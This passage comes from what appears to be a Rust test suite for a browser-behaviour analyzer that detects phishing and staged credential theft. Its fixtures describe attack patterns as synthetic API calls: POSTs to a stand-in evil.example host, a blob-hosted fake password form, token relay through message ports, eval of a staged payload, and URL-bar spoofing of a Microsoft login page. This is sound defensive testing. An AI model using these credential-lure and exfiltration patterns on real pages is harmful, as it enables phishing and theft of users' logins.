4949 args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
4950 result: Value::Undefined,
4951 },
4952 ]);
4953
4954 assert!(report.findings.iter().any(|f| {
4955 f.severity == Severity::Critical
4956 && f.category == Category::CredentialTheft
4957 && f.title
4958 .contains("Observer-driven staged credential injection")
4959 }));
4960 }
4961
4962 #[test]
4963 fn html_blob_navigation_with_credential_surface_is_detected() {
4964 let report = analyze(&[
4965 Observation::ApiCall {
4966 api: "credential_form_detected".into(),
4967 args: vec![Value::string(
4968 "[\"https://evil.example/submit\",\"login\",true]",
4969 )],
4970 result: Value::Undefined,
4971 },
4972 Observation::ApiCall {
4973 api: "url.createObjectURL".into(),
4974 args: vec![Value::string(
4975 "[\"blob:https://evil.example/1\",\"text/html\",\"<form action=\\\"https://evil.example/submit\\\"><input type=\\\"password\\\"></form>\"]",
4976 )],
4977 result: Value::Undefined,
4978 },
4979 Observation::ApiCall {
4980 api: "window.open".into(),
4981 args: vec![Value::string(
4982 "[\"blob:https://evil.example/1\",\"_blank\"]",
4983 )],
4984 result: Value::Undefined,
4985 },
4986 ]);
4987
4988 assert!(report.findings.iter().any(|f| {
4989 f.severity == Severity::Critical
4990 && f.category == Category::CredentialTheft
4991 && f.title.contains("Blob-backed credential lure")
4992 }));
4993 }
4994
4995 #[test]
4996 fn mutation_observer_staged_credential_injection_is_detected() {
4997 let report = analyze(&[
4998 Observation::ApiCall {
4999 api: "mutationObserver.observe".into(),
5000 args: vec![Value::string(
5001 "[0,\"{\\\"childList\\\":true,\\\"subtree\\\":true}\"]",
5002 )],
5003 result: Value::Undefined,
5004 },
5005 Observation::ApiCall {
5006 api: "credential_form_detected".into(),
5007 args: vec![Value::string(
5008 "[\"https://evil.example/submit\",\"login\",true]",
5009 )],
5010 result: Value::Undefined,
5011 },
5012 Observation::ApiCall {
5013 api: "fetch".into(),
5014 args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
5015 result: Value::Undefined,
5016 },
5017 ]);
5018
5019 assert!(report.findings.iter().any(|f| {
5020 f.severity == Severity::Critical
5021 && f.category == Category::CredentialTheft
5022 && f.title
5023 .contains("Observer-driven staged credential injection")
5024 }));
5025 }
5026
5027 #[test]
5028 fn message_channel_plus_worker_and_fetch_is_multi_context_staging() {
5029 let report = analyze(&[
5030 Observation::ApiCall {
5031 api: "messageChannel.create".into(),
5032 args: vec![Value::string("[]")],
5033 result: Value::Undefined,
5034 },
5035 Observation::ApiCall {
5036 api: "messagePort.postMessage".into(),
5037 args: vec![Value::string("[\"port1\",\"token=otp-654321\"]")],
5038 result: Value::Undefined,
5039 },
5040 Observation::ApiCall {
5041 api: "worker.create".into(),
5042 args: vec![Value::string("[\"/worker.js\"]")],
5043 result: Value::Undefined,
5044 },
5045 Observation::ApiCall {
5046 api: "fetch".into(),
5047 args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
5048 result: Value::Undefined,
5049 },
5050 ]);
5051
5052 assert!(report.findings.iter().any(|f| {
5053 f.severity == Severity::Critical
5054 && f.category == Category::Persistence
5055 && f.title
5056 .contains("Covert multi-context staging infrastructure")
5057 }));
5058 }
5059
5060 #[test]
5061 fn wasm_plus_fetch_is_detected() {
5062 let report = analyze(&[
5063 Observation::ApiCall {
5064 api: "wasm.instantiate".into(),
5065 args: vec![Value::string("[\"512\"]")],
5066 result: Value::Undefined,
5067 },
5068 Observation::ApiCall {
5069 api: "fetch".into(),
5070 args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
5071 result: Value::Undefined,
5072 },
5073 ]);
5074
5075 assert!(
5076 report
5077 .findings
5078 .iter()
5079 .any(|f| f.title.contains("WASM-backed staged payload delivery"))
5080 );
5081 }
5082
5083 #[test]
5084 fn wasm_plus_dynamic_code_is_detected() {
5085 let report = analyze(&[
5086 Observation::ApiCall {
5087 api: "wasm.instantiate".into(),
5088 args: vec![Value::string("[\"1024\"]")],
5089 result: Value::Undefined,
5090 },
5091 Observation::DynamicCodeExec {
5092 source: crate::observation::DynamicCodeSource::Eval,
5093 code_preview: "eval(stage)".into(),
5094 },
5095 ]);
5096
5097 assert!(
5098 report
5099 .findings
5100 .iter()
5101 .any(|f| f.title.contains("WASM-assisted dynamic execution"))
5102 );
5103 }
5104
5105 #[test]
5106 fn credential_surface_plus_history_spoofing_is_detected() {
5107 let report = analyze(&[
5108 Observation::ApiCall {
5109 api: "credential_form_detected".into(),
5110 args: vec![Value::string(
5111 "[\"https://evil.example/submit\",\"login\",true]",
5112 )],
5113 result: Value::Undefined,
5114 },
5115 Observation::ApiCall {
5116 api: "history.replaceState".into(),
5117 args: vec![Value::string(
5118 "[\"https://login.microsoftonline.com/common/oauth2\"]",
5119 )],
5120 result: Value::Undefined,
5121 },
5122 ]);
5123
5124 assert!(report.findings.iter().any(|f| {
5125 f.severity == Severity::Critical
5126 && f.category == Category::CredentialTheft
5127 && f.title.contains("Credential lure with URL-bar spoofing")
5128 }));
5129 }
5130}